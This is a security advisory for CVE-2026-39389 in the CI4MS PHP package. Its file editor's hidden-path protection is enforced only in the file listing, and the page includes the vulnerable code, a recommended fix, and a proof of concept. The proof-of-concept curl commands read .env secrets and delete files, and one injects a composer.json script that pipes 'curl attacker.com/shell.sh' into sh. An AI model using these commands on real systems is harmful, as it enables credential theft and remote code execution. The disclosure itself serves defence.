CVE-2026-39389: CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files
Summary The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected.
Published Apr 8, 2026
Affected packages
ci4-cms-erp/ci4ms
- Ecosystem
- Composer (PHP)
- Affected
- <= 0.31.3.0
- Fixed in
- 0.31.4.0
- Check
composer show ci4-cms-erp/ci4ms
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only fileeditor.read permission can exfiltrate application secrets from .env, and a user with fileeditor.update permission can overwrite composer.json to achieve remote code execution.
Details
The hiddenItems array is defined at modules/Fileeditor/Controllers/Fileeditor.php:10-26:
protected $hiddenItems = [
'.git', '.github', '.idea', '.vscode',
'node_modules', 'vendor', 'writable',
'.env', 'env', 'composer.json', 'composer.lock',
'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];This array is checked only in listFiles() at lines 45-48 and 64:
// Line 45-48 - path component check
foreach ($pathParts as $part) {
if (in_array($part, $this->hiddenItems)) {
return $this->failForbidden();
}
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;However, readFile() (line 76) performs neither a hiddenItems check nor an allowedFileTypes() check:
public function readFile()
{
// ... validation ...
$path = $this->request->getVar('path');
$fullPath = realpath(ROOTPATH . $path);
if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
}
return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}This means any file within ROOTPATH — regardless of extension (.php, .env, etc.) — can be read by any user with the fileeditor.read permission.
Similarly, saveFile() (line 92) checks allowedFileTypes() but not hiddenItems. Since json is in $allowedExtensions, composer.json (which is explicitly in hiddenItems) can be overwritten:
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];deleteFileOrFolder() (line 194) checks neither hiddenItems nor allowedFileTypes().
Compounding factor: CSRF protection is disabled for all fileeditor routes in modules/Fileeditor/Config/FileeditorConfig.php:7-10:
public $csrfExcept = [
'backend/fileeditor',
'backend/fileeditor/*',
];This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.
PoC
Requires an authenticated backend session with fileeditor.read permission granted.
Step 1: Read .env file to extract secrets
curl -s -b 'ci_session=<valid_session_cookie>' \
'https://target.com/backend/fileeditor/read?path=/.env'Expected response: JSON containing .env file contents including database credentials, encryption keys, and other secrets.
Step 2: Read PHP configuration files
curl -s -b 'ci_session=<valid_session_cookie>' \
'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'Expected response: Full database configuration PHP source with credentials (note: readFile() has no allowedFileTypes check, so .php files are readable).
Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)
curl -s -b 'ci_session=<valid_session_cookie>' \
-X POST 'https://target.com/backend/fileeditor/save' \
-d 'path=/composer.json' \
-d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'The next composer install or composer update executes the attacker's script.
Step 4: Delete .env (requires `fileeditor.delete` permission)
curl -s -b 'ci_session=<valid_session_cookie>' \
-X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \
-d 'path=/.env'Impact
- Credential disclosure: Any backend user with
fileeditor.readpermission can read.env(database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions. - Remote code execution: A user with
fileeditor.updatepermission can overwritecomposer.jsonwith malicious composer scripts that execute on the nextcomposer install/update. - Denial of service: A user with
fileeditor.deletepermission can delete.envor other critical configuration files, causing application failure. - False security boundary: Administrators who configure
fileeditor.readas a limited permission for content editors are unknowingly granting access to all application secrets, since thehiddenItemsprotection only affects the UI file tree, not the API.
Recommended Fix
Apply hiddenItems validation to all endpoints that accept a path parameter. Extract the check into a reusable method and also add allowedFileTypes to readFile():
// Add this method to the Fileeditor controller
private function isHiddenPath(string $path): bool
{
$pathParts = explode('/', trim($path, '/'));
foreach ($pathParts as $part) {
if (in_array($part, $this->hiddenItems)) {
return true;
}
}
return false;
}
// Then add to readFile(), saveFile(), renameFile(), createFile(),
// createFolder(), and deleteFileOrFolder():
if ($this->isHiddenPath($path)) {
return $this->failForbidden();
}
// Additionally, add allowedFileTypes check to readFile():
if (!$this->allowedFileTypes($fullPath)) {
return $this->failForbidden();
}Also re-enable CSRF protection by removing the CSRF exemption in FileeditorConfig.php (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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